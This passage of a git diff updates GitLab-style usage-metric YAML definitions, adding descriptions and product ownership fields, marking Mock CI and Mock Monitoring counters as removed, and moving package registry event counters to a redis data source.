time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182732_groups_inheriting_mock_ci_active.yml b/config/metrics/counts_all/20210216182732_groups_inheriting_mock_ci_active.yml
index 994e9665ff1..723399c5d04 100644
--- a/config/metrics/counts_all/20210216182732_groups_inheriting_mock_ci_active.yml
+++ b/config/metrics/counts_all/20210216182732_groups_inheriting_mock_ci_active.yml
@@ -1,16 +1,19 @@
---
key_path: counts.groups_inheriting_mock_ci_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of active groups inheriting integrations for Mock CI
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
-status: data_available
+status: removed
+milestone_removed: '13.12'
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182734_projects_mock_monitoring_active.yml b/config/metrics/counts_all/20210216182734_projects_mock_monitoring_active.yml
index c12bcfc76ae..f2addef450d 100644
--- a/config/metrics/counts_all/20210216182734_projects_mock_monitoring_active.yml
+++ b/config/metrics/counts_all/20210216182734_projects_mock_monitoring_active.yml
@@ -1,16 +1,19 @@
---
key_path: counts.projects_mock_monitoring_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of projects with active integrations for Mock Monitoring
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
-status: data_available
+status: removed
+milestone_removed: '13.12'
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182736_groups_mock_monitoring_active.yml b/config/metrics/counts_all/20210216182736_groups_mock_monitoring_active.yml
index 414d3723f9b..282fd487d3d 100644
--- a/config/metrics/counts_all/20210216182736_groups_mock_monitoring_active.yml
+++ b/config/metrics/counts_all/20210216182736_groups_mock_monitoring_active.yml
@@ -1,16 +1,19 @@
---
key_path: counts.groups_mock_monitoring_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of groups with active integrations for Mock Monitoring
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
-status: data_available
+status: removed
+milestone_removed: '13.12'
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182738_templates_mock_monitoring_active.yml b/config/metrics/counts_all/20210216182738_templates_mock_monitoring_active.yml
index 48397435310..e3f70b4a679 100644
--- a/config/metrics/counts_all/20210216182738_templates_mock_monitoring_active.yml
+++ b/config/metrics/counts_all/20210216182738_templates_mock_monitoring_active.yml
@@ -1,16 +1,19 @@
---
key_path: counts.templates_mock_monitoring_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of active service templates for Mock Monitoring
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
-status: data_available
+status: removed
+milestone_removed: '13.12'
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182739_instances_mock_monitoring_active.yml b/config/metrics/counts_all/20210216182739_instances_mock_monitoring_active.yml
index 671c0574892..fed7a283e14 100644
--- a/config/metrics/counts_all/20210216182739_instances_mock_monitoring_active.yml
+++ b/config/metrics/counts_all/20210216182739_instances_mock_monitoring_active.yml
@@ -1,16 +1,19 @@
---
key_path: counts.instances_mock_monitoring_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of active instance-level integrations for Mock Monitoring
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
-status: data_available
+status: removed
+milestone_removed: '13.12'
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182741_projects_inheriting_mock_monitoring_active.yml b/config/metrics/counts_all/20210216182741_projects_inheriting_mock_monitoring_active.yml
index 895e0f03505..690d27ecb63 100644
--- a/config/metrics/counts_all/20210216182741_projects_inheriting_mock_monitoring_active.yml
+++ b/config/metrics/counts_all/20210216182741_projects_inheriting_mock_monitoring_active.yml
@@ -1,16 +1,19 @@
---
key_path: counts.projects_inheriting_mock_monitoring_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of active projects inheriting integrations for Mock Monitoring
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
-status: data_available
+status: removed
+milestone_removed: '13.12'
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182743_groups_inheriting_mock_monitoring_active.yml b/config/metrics/counts_all/20210216182743_groups_inheriting_mock_monitoring_active.yml
index 27206fb724f..a22e3be20a4 100644
--- a/config/metrics/counts_all/20210216182743_groups_inheriting_mock_monitoring_active.yml
+++ b/config/metrics/counts_all/20210216182743_groups_inheriting_mock_monitoring_active.yml
@@ -1,16 +1,19 @@
---
key_path: counts.groups_inheriting_mock_monitoring_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of active groups inheriting integrations for Mock Monitoring
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
-status: data_available
+status: removed
+milestone_removed: '13.12'
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182855_package_events_i_package_composer_delete_package.yml b/config/metrics/counts_all/20210216182855_package_events_i_package_composer_delete_package.yml
index fb26328eb81..3ad8d02cb1d 100644
--- a/config/metrics/counts_all/20210216182855_package_events_i_package_composer_delete_package.yml
+++ b/config/metrics/counts_all/20210216182855_package_events_i_package_composer_delete_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_composer_delete_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of Composer packages that have been deleted
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182857_package_events_i_package_composer_pull_package.yml b/config/metrics/counts_all/20210216182857_package_events_i_package_composer_pull_package.yml
index 010067763b5..e6d056f6cc3 100644
--- a/config/metrics/counts_all/20210216182857_package_events_i_package_composer_pull_package.yml
+++ b/config/metrics/counts_all/20210216182857_package_events_i_package_composer_pull_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_composer_pull_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of Composer packages that have been downloaded
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182859_package_events_i_package_composer_push_package.yml b/config/metrics/counts_all/20210216182859_package_events_i_package_composer_push_package.yml
index 11ccbf3b27e..7aaa3d5d9d0 100644
--- a/config/metrics/counts_all/20210216182859_package_events_i_package_composer_push_package.yml
+++ b/config/metrics/counts_all/20210216182859_package_events_i_package_composer_push_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_composer_push_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of Composer packages that have been published
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182901_package_events_i_package_conan_delete_package.yml b/config/metrics/counts_all/20210216182901_package_events_i_package_conan_delete_package.yml
index 9091fc299ee..9baa6d0b535 100644
--- a/config/metrics/counts_all/20210216182901_package_events_i_package_conan_delete_package.yml
+++ b/config/metrics/counts_all/20210216182901_package_events_i_package_conan_delete_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_conan_delete_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of Conan packages that have been deleted
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182903_package_events_i_package_conan_pull_package.yml b/config/metrics/counts_all/20210216182903_package_events_i_package_conan_pull_package.yml
index 91cea7e5f4f..9465a30e6a5 100644
--- a/config/metrics/counts_all/20210216182903_package_events_i_package_conan_pull_package.yml
+++ b/config/metrics/counts_all/20210216182903_package_events_i_package_conan_pull_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_conan_pull_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of Conan packages that have been downloaded
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182905_package_events_i_package_conan_push_package.yml b/config/metrics/counts_all/20210216182905_package_events_i_package_conan_push_package.yml
index 4b4e08c0631..6bc0ea59256 100644
--- a/config/metrics/counts_all/20210216182905_package_events_i_package_conan_push_package.yml
+++ b/config/metrics/counts_all/20210216182905_package_events_i_package_conan_push_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_conan_push_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of Conan packages that have been published
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182907_package_events_i_package_container_delete_package.yml b/config/metrics/counts_all/20210216182907_package_events_i_package_container_delete_package.yml
index b87bc78265c..d475ea39438 100644
--- a/config/metrics/counts_all/20210216182907_package_events_i_package_container_delete_package.yml
+++ b/config/metrics/counts_all/20210216182907_package_events_i_package_container_delete_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_container_delete_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of container images that have been deleted
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: container registry
value_type: number
-status: data_available
+status: deprecated
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182909_package_events_i_package_container_pull_package.yml b/config/metrics/counts_all/20210216182909_package_events_i_package_container_pull_package.yml
index 4ca264fc57f..7a9070b623a 100644
--- a/config/metrics/counts_all/20210216182909_package_events_i_package_container_pull_package.yml
+++ b/config/metrics/counts_all/20210216182909_package_events_i_package_container_pull_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_container_pull_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of container images that have been downloaded
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: container registry
value_type: number
-status: data_available
+status: deprecated
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182911_package_events_i_package_container_push_package.yml b/config/metrics/counts_all/20210216182911_package_events_i_package_container_push_package.yml
index ea30df537f2..11402a7b5e7 100644
--- a/config/metrics/counts_all/20210216182911_package_events_i_package_container_push_package.yml
+++ b/config/metrics/counts_all/20210216182911_package_events_i_package_container_push_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_container_push_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of container images that have been published
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: container registry
value_type: number
-status: data_available
+status: deprecated
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182913_package_events_i_package_debian_delete_package.yml b/config/metrics/counts_all/20210216182913_package_events_i_package_debian_delete_package.yml
index e05cbbdc3a9..25fd4257ed2 100644
--- a/config/metrics/counts_all/20210216182913_package_events_i_package_debian_delete_package.yml
+++ b/config/metrics/counts_all/20210216182913_package_events_i_package_debian_delete_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_debian_delete_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of Debian packages that have been deleted
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182915_package_events_i_package_debian_pull_package.yml b/config/metrics/counts_all/20210216182915_package_events_i_package_debian_pull_package.yml
index 6e0635e7108..c4017a636a5 100644
--- a/config/metrics/counts_all/20210216182915_package_events_i_package_debian_pull_package.yml
+++ b/config/metrics/counts_all/20210216182915_package_events_i_package_debian_pull_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_debian_pull_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of Debian packages that have been downloaded
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182917_package_events_i_package_debian_push_package.yml b/config/metrics/counts_all/20210216182917_package_events_i_package_debian_push_package.yml
index 818d32cf911..7af47fe182d 100644
--- a/config/metrics/counts_all/20210216182917_package_events_i_package_debian_push_package.yml
+++ b/config/metrics/counts_all/20210216182917_package_events_i_package_debian_push_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_debian_push_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of Debian packages that have been published
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
-status: data_available
+status: deprecated
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182919_package_events_i_package_delete_package.yml b/config/metrics/counts_all/20210216182919_package_events_i_package_delete_package.yml
index 3bec73ead90..11196fc56c3 100644
--- a/config/metrics/counts_all/20210216182919_package_events_i_package_delete_package.yml
+++ b/config/metrics/counts_all/20210216182919_package_events_i_package_delete_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_delete_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of packages that have been deleted
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182921_package_events_i_package_delete_package_by_deploy_token.yml b/config/metrics/counts_all/20210216182921_package_events_i_package_delete_package_by_deploy_token.yml
index 4ac31ac255b..00650c4a139 100644
--- a/config/metrics/counts_all/20210216182921_package_events_i_package_delete_package_by_deploy_token.yml
+++ b/config/metrics/counts_all/20210216182921_package_events_i_package_delete_package_by_deploy_token.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_delete_package_by_deploy_token
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of packages that have been deleted using a Deploy Token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182923_package_events_i_package_delete_package_by_guest.yml b/config/metrics/counts_all/20210216182923_package_events_i_package_delete_package_by_guest.yml
index 8a3cb104b6a..f8240096bb9 100644
--- a/config/metrics/counts_all/20210216182923_package_events_i_package_delete_package_by_guest.yml
+++ b/config/metrics/counts_all/20210216182923_package_events_i_package_delete_package_by_guest.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_delete_package_by_guest
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of packages that have been deleted using a Guest
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182925_package_events_i_package_delete_package_by_user.yml b/config/metrics/counts_all/20210216182925_package_events_i_package_delete_package_by_user.yml
index c0bf7f79ebc..012d7d2bf39 100644
--- a/config/metrics/counts_all/20210216182925_package_events_i_package_delete_package_by_user.yml
+++ b/config/metrics/counts_all/20210216182925_package_events_i_package_delete_package_by_user.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_delete_package_by_user
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of packages that have been deleted using a logged in user
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182927_package_events_i_package_generic_delete_package.yml b/config/metrics/counts_all/20210216182927_package_events_i_package_generic_delete_package.yml
index e38a6a4910e..fda3a7065e1 100644
--- a/config/metrics/counts_all/20210216182927_package_events_i_package_generic_delete_package.yml
+++ b/config/metrics/counts_all/20210216182927_package_events_i_package_generic_delete_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_generic_delete_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of generic packages that have been deleted
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182929_package_events_i_package_generic_pull_package.yml b/config/metrics/counts_all/20210216182929_package_events_i_package_generic_pull_package.yml
index 29e08dd04fe..34b718a2497 100644
--- a/config/metrics/counts_all/20210216182929_package_events_i_package_generic_pull_package.yml
+++ b/config/metrics/counts_all/20210216182929_package_events_i_package_generic_pull_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_generic_pull_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of generic packages that have been downloaded
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182931_package_events_i_package_generic_push_package.yml b/config/metrics/counts_all/20210216182931_package_events_i_package_generic_push_package.yml
index 9dbd7572df6..5c39995a1b2 100644
--- a/config/metrics/counts_all/20210216182931_package_events_i_package_generic_push_package.yml
+++ b/config/metrics/counts_all/20210216182931_package_events_i_package_generic_push_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_generic_push_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of generic packages that have been published
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182933_package_events_i_package_golang_delete_package.yml b/config/metrics/counts_all/20210216182933_package_events_i_package_golang_delete_package.yml
index 9dda1569073..c856484e691 100644
--- a/config/metrics/counts_all/20210216182933_package_events_i_package_golang_delete_package.yml
+++ b/config/metrics/counts_all/20210216182933_package_events_i_package_golang_delete_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_golang_delete_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of Go modules that have been deleted
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182934_package_events_i_package_golang_pull_package.yml b/config/metrics/counts_all/20210216182934_package_events_i_package_golang_pull_package.yml
index 8a0399ca1be..e4bfe9f50d6 100644
--- a/config/metrics/counts_all/20210216182934_package_events_i_package_golang_pull_package.yml
+++ b/config/metrics/counts_all/20210216182934_package_events_i_package_golang_pull_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_golang_pull_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of Go modules that have been downloaded
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182936_package_events_i_package_golang_push_package.yml b/config/metrics/counts_all/20210216182936_package_events_i_package_golang_push_package.yml
index 5c83f5533d0..6bfc5255e9f 100644
--- a/config/metrics/counts_all/20210216182936_package_events_i_package_golang_push_package.yml
+++ b/config/metrics/counts_all/20210216182936_package_events_i_package_golang_push_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_golang_push_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of Go modules that have been published
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182938_package_events_i_package_maven_delete_package.yml b/config/metrics/counts_all/20210216182938_package_events_i_package_maven_delete_package.yml
index 5ebdc064a11..43c8d16986d 100644
--- a/config/metrics/counts_all/20210216182938_package_events_i_package_maven_delete_package.yml
+++ b/config/metrics/counts_all/20210216182938_package_events_i_package_maven_delete_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_maven_delete_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of Maven packages that have been deleted
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182940_package_events_i_package_maven_pull_package.yml b/config/metrics/counts_all/20210216182940_package_events_i_package_maven_pull_package.yml
index 6749fba2c3b..3c95516325e 100644
--- a/config/metrics/counts_all/20210216182940_package_events_i_package_maven_pull_package.yml
+++ b/config/metrics/counts_all/20210216182940_package_events_i_package_maven_pull_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_maven_pull_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of Maven packages that have been downloaded
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182942_package_events_i_package_maven_push_package.yml b/config/metrics/counts_all/20210216182942_package_events_i_package_maven_push_package.yml
index f329104f2b2..d1843778ad9 100644
--- a/config/metrics/counts_all/20210216182942_package_events_i_package_maven_push_package.yml
+++ b/config/metrics/counts_all/20210216182942_package_events_i_package_maven_push_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_maven_push_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of Maven packages that have been published
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182944_package_events_i_package_npm_delete_package.yml b/config/metrics/counts_all/20210216182944_package_events_i_package_npm_delete_package.yml
index b8653d5a27e..2c3ca5d1dfb 100644
--- a/config/metrics/counts_all/20210216182944_package_events_i_package_npm_delete_package.yml
+++ b/config/metrics/counts_all/20210216182944_package_events_i_package_npm_delete_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_npm_delete_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of npm packages that have been deleted
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182946_package_events_i_package_npm_pull_package.yml b/config/metrics/counts_all/20210216182946_package_events_i_package_npm_pull_package.yml
index 54799778680..639ecf0b0fb 100644
--- a/config/metrics/counts_all/20210216182946_package_events_i_package_npm_pull_package.yml
+++ b/config/metrics/counts_all/20210216182946_package_events_i_package_npm_pull_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_npm_pull_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of npm packages that have been downloaded
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182948_package_events_i_package_npm_push_package.yml b/config/metrics/counts_all/20210216182948_package_events_i_package_npm_push_package.yml
index c9c5f43627a..815c2b0194d 100644
--- a/config/metrics/counts_all/20210216182948_package_events_i_package_npm_push_package.yml
+++ b/config/metrics/counts_all/20210216182948_package_events_i_package_npm_push_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_npm_push_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of npm packages that have been published
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182950_package_events_i_package_nuget_delete_package.yml b/config/metrics/counts_all/20210216182950_package_events_i_package_nuget_delete_package.yml
index 1f410f5ae95..1cd5ec0e63f 100644
--- a/config/metrics/counts_all/20210216182950_package_events_i_package_nuget_delete_package.yml
+++ b/config/metrics/counts_all/20210216182950_package_events_i_package_nuget_delete_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_nuget_delete_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of NuGet packages that have been deleted
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182952_package_events_i_package_nuget_pull_package.yml b/config/metrics/counts_all/20210216182952_package_events_i_package_nuget_pull_package.yml
index 4b7abb5af70..06f2b212ecc 100644
--- a/config/metrics/counts_all/20210216182952_package_events_i_package_nuget_pull_package.yml
+++ b/config/metrics/counts_all/20210216182952_package_events_i_package_nuget_pull_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_nuget_pull_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of NuGet packages that have been downloaded
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182954_package_events_i_package_nuget_push_package.yml b/config/metrics/counts_all/20210216182954_package_events_i_package_nuget_push_package.yml
index 3812514b79d..2cbe0345ccc 100644
--- a/config/metrics/counts_all/20210216182954_package_events_i_package_nuget_push_package.yml
+++ b/config/metrics/counts_all/20210216182954_package_events_i_package_nuget_push_package.yml
@@ -1,16 +1,18 @@
---
key_path: counts.package_events_i_package_nuget_push_package
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A count of NuGet packages that have been published
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
